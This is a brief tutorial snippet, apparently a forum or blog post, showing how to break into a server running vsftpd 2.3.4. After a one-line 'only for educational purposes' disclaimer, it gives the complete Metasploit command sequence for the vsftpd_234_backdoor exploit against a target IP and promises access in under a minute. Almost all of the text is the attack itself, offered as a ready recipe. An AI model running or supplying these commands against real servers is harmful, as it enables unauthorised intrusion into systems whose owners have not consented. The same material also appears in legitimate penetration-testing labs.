only for educational purposes
if you find that your target server use VSFTP 2.3.4, you are are in home, by metasploit you can get access to the server in less then 1 minute
msf> use exploit/unix/ftp/vsftpd_234_backdoor msf> show options msf> set RHOST 192.168.0.101 msf> show options msf> exploit